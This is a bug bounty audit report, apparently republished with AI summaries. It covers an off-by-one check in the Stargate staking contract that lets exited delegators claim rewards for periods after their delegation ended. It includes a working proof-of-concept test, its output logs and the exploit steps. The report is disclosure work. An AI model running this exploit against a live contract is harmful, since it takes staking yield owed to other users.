Incorrect Boundary Check in _claimableDelegationPeriods Allows Claiming Rewards Beyond Delegation End Period
The _claimableDelegationPeriods function used a strict greater-than check instead of greater-than-or-equal when comparing a delegation's end period with the next claimable period. When the two were equal, an exited delegator could claim rewards for periods after their delegation ended, taking yield owed to active delegators.
- Disclosed after under an hour
60516 sc high incorrect boundary check in claimabledelegationperiods allows claiming rewards beyond delegation end period
Submitted on Nov 23rd 2025 at 16:33:02 UTC by @Oxodus for Audit Comp | Vechain | Stargate Hayabusa
- Report ID: #60516
- Report Type: Smart Contract
- Report severity: High
- Target: https://github.com/immunefi-team/audit-comp-vechain-stargate-hayabusa/tree/main/packages/contracts/contracts/Stargate.sol
- Impacts:
- Protocol insolvency
- Theft of unclaimed yield
Description
Brief/Intro
The _claimableDelegationPeriods function in the Stargate contract contains an incorrect boundary check (endPeriod > nextClaimablePeriod) that should use >= instead of >. This logic flaw allows delegators to claim rewards for periods beyond their delegation's end period when endPeriod equals nextClaimablePeriod, potentially claiming rewards they are not entitled to and draining rewards that should belong to other delegators or future periods.
Vulnerability Details
In the _claimableDelegationPeriods function lines 916-922 , the condition checking if a delegation has ended uses a strict greater than operator:
if (
endPeriod != type(uint32).max &&
endPeriod < currentValidatorPeriod &&
endPeriod > nextClaimablePeriod // @audit should be >=
) {
return (nextClaimablePeriod, endPeriod);
}
The issue arises when endPeriod equals nextClaimablePeriod. In this case:
- The condition
endPeriod > nextClaimablePeriodevaluates to false - The function bypasses this branch and falls through to the next condition
- It returns (
nextClaimablePeriod, completedPeriods) instead of (nextClaimablePeriod, endPeriod) - This allows the delegator to claim rewards up to
completedPeriods, which can be significantly greater thanendPeriodThe correct logic should recognize that whenendPeriod >= nextClaimablePeriod, there are still claimable periods fromnextClaimablePeriodup to and includingendPeriod. The current implementation incorrectly excludes the edge case where they are equal.
Impact Details
- Protocol Insolvency The Stargate contract holds VTHO rewards to distribute to delegators based on their participation in completed periods. When exited delegators fraudulently claim rewards for periods they didn't participate in, they drain VTHO from the contract that should be reserved for legitimate claimants. If multiple delegators exploit this vulnerability across different validators and time periods, the cumulative theft can exceed the contract's VTHO balance. This leaves the protocol insolvent, resulting in a direct loss of funds for legitimate users.
- Theft of Unclaimed Yield Exited delegators can claim VTHO rewards for periods 7, 8, 9, etc., even though their delegation ended at period 6. These rewards rightfully belong to delegators who were actively staking during those periods. By exploiting the boundary check flaw, malicious actors directly steal yield that was earned by the effective stake of legitimate active delegators on the validator during post exit periods.
References
Proof of Concept
Proof of Concept
- Modify the
"test:thor-solo"line in the package.json file in thepackages/contractsfolder to the following, to allow us to run only the POC test"test:thor-solo": "hardhat test --network vechain_solo --grep \"POC: Boundary check\"", - Paste the following test in the
Rewards.test.tsfile
it("POC: Boundary check allows claiming rewards beyond delegation end period", async () => {
const user1 = otherAccounts[0];
const levelId = 1;
// Stake and delegate
const { tokenId: tokenId } = await stakeAndMatureNFT(
user1,
levelId,
stargateNFTContract,
stargateContract
);
tx = await stargateContract.connect(user1).delegate(tokenId, validator);
await tx.wait();
const [periodSize, startBlock, ,] =
await protocolStakerContract.getValidationPeriodDetails(validator);
// Fast forward 5 periods and claim rewards
await fastForwardValidatorPeriods(Number(periodSize), Number(startBlock), 5);
tx = await stargateContract.connect(user1).claimRewards(tokenId);
await tx.wait();
// Request exit in current period
// This sets endPeriod to 7
tx = await stargateContract.connect(user1).requestDelegationExit(tokenId);
await tx.wait();
const delegation = await stargateContract.getDelegationDetails(tokenId);
console.log(`Delegation endPeriod: ${delegation.endPeriod}`);
// Now: endPeriod (7) < currentValidatorPeriod (8)
await fastForwardValidatorPeriods(Number(periodSize), Number(startBlock), 0);
// Check claimable periods
// lastClaimedPeriod = 6, so nextClaimablePeriod = 7
// endPeriod = 7, currentValidatorPeriod = 8
// @audit condition checks `endPeriod (7) > nextClaimablePeriod (7)` = false
// So it skips the exit branch and returns completedPeriods which is still 7 (at this point)
let [firstClaimable, lastClaimable] = await stargateContract.claimableDelegationPeriods(tokenId);
console.log(`After exit - nextClaimable: ${firstClaimable}, lastClaimable: ${lastClaimable}, endPeriod: ${delegation.endPeriod}`);
// Fast forward 4 more periods to make the vulnerability more obvious
// Now validator has moved well past the delegation's endPeriod
await fastForwardValidatorPeriods(Number(periodSize), Number(startBlock), 4);
// @audit rechecking the claimable periods, the user can now claim up to completedPeriods instead of endPeriod
[firstClaimable, lastClaimable] = await stargateContract.claimableDelegationPeriods(tokenId);
const [, , , completedPeriods] = await protocolStakerContract.getValidationPeriodDetails(validator);
console.log(` Delegation ended at period: ${delegation.endPeriod}`);
console.log(` User can claim up to period: ${lastClaimable}`);
console.log(` Extra periods stolen: ${lastClaimable - delegation.endPeriod}`);
console.log(` Completed periods: ${completedPeriods}`);
// User claims rewards for periods they shouldn't be entitled to
tx = await stargateContract.connect(user1).claimRewards(tokenId);
await tx.wait();
// lastClaimable should equal endPeriod (7) but it equals completedPeriods (12)
expect(lastClaimable).to.be.greaterThan(delegation.endPeriod);
});
- run the
yarn contracts:test:integrationtest to run the test, you will see the following logs
@repo/contracts:test:thor-solo:
@repo/contracts:test:thor-solo:
@repo/contracts:test:thor-solo: shard-i3: Stargate: Rewards
@repo/contracts:test:thor-solo: Delegation endPeriod: 7
@repo/contracts:test:thor-solo: After exit - nextClaimable: 7, lastClaimable: 7, endPeriod: 7
@repo/contracts:test:thor-solo: Delegation ended at period: 7
@repo/contracts:test:thor-solo: User can claim up to period: 12
@repo/contracts:test:thor-solo: Extra periods stolen: 5
@repo/contracts:test:thor-solo: Completed periods: 12
@repo/contracts:test:thor-solo: ✔ POC: Boundary check allows claiming rewards beyond delegation end period (39579ms)
@repo/contracts:test:thor-solo:
@repo/contracts:test:thor-solo:
@repo/contracts:test:thor-solo: 1 passing (46s)
@repo/contracts:test:thor-solo:
Tasks: 2 successful, 2 total
Cached: 0 cached, 2 total
Time: 54.272s
Done in 55.00s.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The boundary check used a strict greater-than comparison, so the equality case fell through to a branch that returned the current completed period instead of the delegation's end period.
Impact
Exited delegators could claim VTHO rewards for periods after their delegation ended, stealing yield from active delegators and potentially making the contract insolvent.
What the attacker needed
A staked and delegated NFT; ability to request delegation exit; end period equals next claimable period
The fix
The comparison should use greater-than-or-equal so that when the end period equals the next claimable period, the function returns the end period as the last claimable period.
How it was found
- Stake and delegate an NFT to a validator.
- Advance five validator periods and claim rewards.
- Request delegation exit, which sets the end period to the current period.
- Advance one more period so the current validator period is past the end period.
- Query claimable periods and observe the last claimable period is the completed period, not the end period.
- Advance further periods and claim rewards for periods after the delegation ended.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A staking contract pays rewards for each time period. When someone leaves, they should only be paid up to the period they left in. A small comparison mistake meant that if they left exactly on the next unpaid period, the contract kept paying them for later periods too. That money came out of rewards meant for people still staking.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.